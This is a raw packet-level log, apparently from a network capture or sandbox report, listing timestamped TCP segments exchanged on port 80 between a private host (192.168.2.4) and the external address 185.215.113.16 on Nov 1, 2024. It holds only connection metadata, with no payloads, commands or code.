Nov 1, 2024 08:50:21.542180061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.542182922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542196035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542207956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542217970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.542220116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.542270899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.617854118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617875099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617887020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617934942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617942095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.617947102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617959023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617969990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617984056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.617984056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.617999077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618033886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618110895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618122101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618179083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618191004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618197918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618237019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618269920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618280888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618292093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618316889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618328094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618343115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618355036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618366003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618380070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618380070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618380070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618382931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618395090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618407011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618417025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618429899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618434906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618441105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618449926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618478060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618514061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618583918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618602991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618619919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618630886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618642092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618652105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618664026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618669987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618669987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618674994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618700981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618714094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618716955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618716955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618722916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618738890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618751049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618781090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618781090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618808985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618864059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618882895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618906021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618912935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618912935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618916988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618942976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.618978977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.618990898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619010925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619039059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619055986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619070053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619070053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619077921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619107962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619121075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619138956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619154930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619167089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619178057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619189978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619191885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619191885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619191885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619201899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619230032 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619231939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619244099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619249105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619252920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619259119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619301081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619301081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619422913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619432926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619445086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619462013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619472980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619474888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619486094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619498968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619523048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619532108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619543076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619553089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619555950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619606972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619606972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619914055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619925022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619935989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619960070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619971991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.619976997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.619982958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620039940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620039940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620075941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620088100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620098114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620110035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620121956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620131969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620132923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620146990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620167017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620177984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620188951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620199919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620212078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620224953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620224953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620225906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620260000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620287895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620301962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620316982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620357990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620363951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620374918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620393038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620404959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620415926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620433092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620445013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620455980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620470047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620480061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620482922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620510101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620523930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620563984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620599985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620600939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620613098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620625019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620635033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620659113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620682001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620754957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620795965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620815039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620851040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620866060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620881081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620899916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620917082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620929003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620933056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620933056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620959997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620961905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.620970964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.620984077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621001005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621020079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621031046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621045113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621054888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621057987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621081114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621093988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621115923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621128082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621128082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621128082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621129036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621140003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621167898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621179104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621189117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621191978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621216059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621227980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621232033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621232033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621246099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621257067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621267080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621287107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621315002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621325970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621328115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621328115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621339083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621356964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621356964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621361971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621376038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621387005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621397018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621429920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621429920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621469975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621483088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621494055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621548891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621560097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621572018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621572018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621575117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621596098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621597052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621614933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621627092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621649027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621661901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621676922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621687889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621726990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621757030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621777058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621788979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621799946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621810913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621848106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621856928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621856928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621860981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621871948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621889114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621890068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621912003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621933937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621943951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621957064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621959925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621961117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.621984005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.621994972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622005939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622014046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622014046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622019053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622056007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622102976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622165918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622168064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622193098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622205019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622214079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622225046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622236013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622262955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622287989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622288942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622376919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622426033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622714996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.622750998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622910976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622921944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622931957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622961044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622977972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.622987986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623004913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623018026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623030901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623030901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623030901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623048067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623059988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623065948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623075008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623090982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623102903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623112917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623114109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623125076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623142004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623155117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623158932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623158932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623188972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623197079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623210907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623219967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623230934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623243093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623250961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623253107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623264074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623275995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623276949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623287916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623308897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623332977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623336077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623336077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623344898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623356104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623374939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623385906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623398066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623405933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623405933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623435974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623440981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623447895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623473883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623476982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623485088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623495102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623505116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623517036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623518944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623528957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623539925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623550892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623562098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623572111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623572111 CET	49738	80	192.168.2.4	185.215.113.16
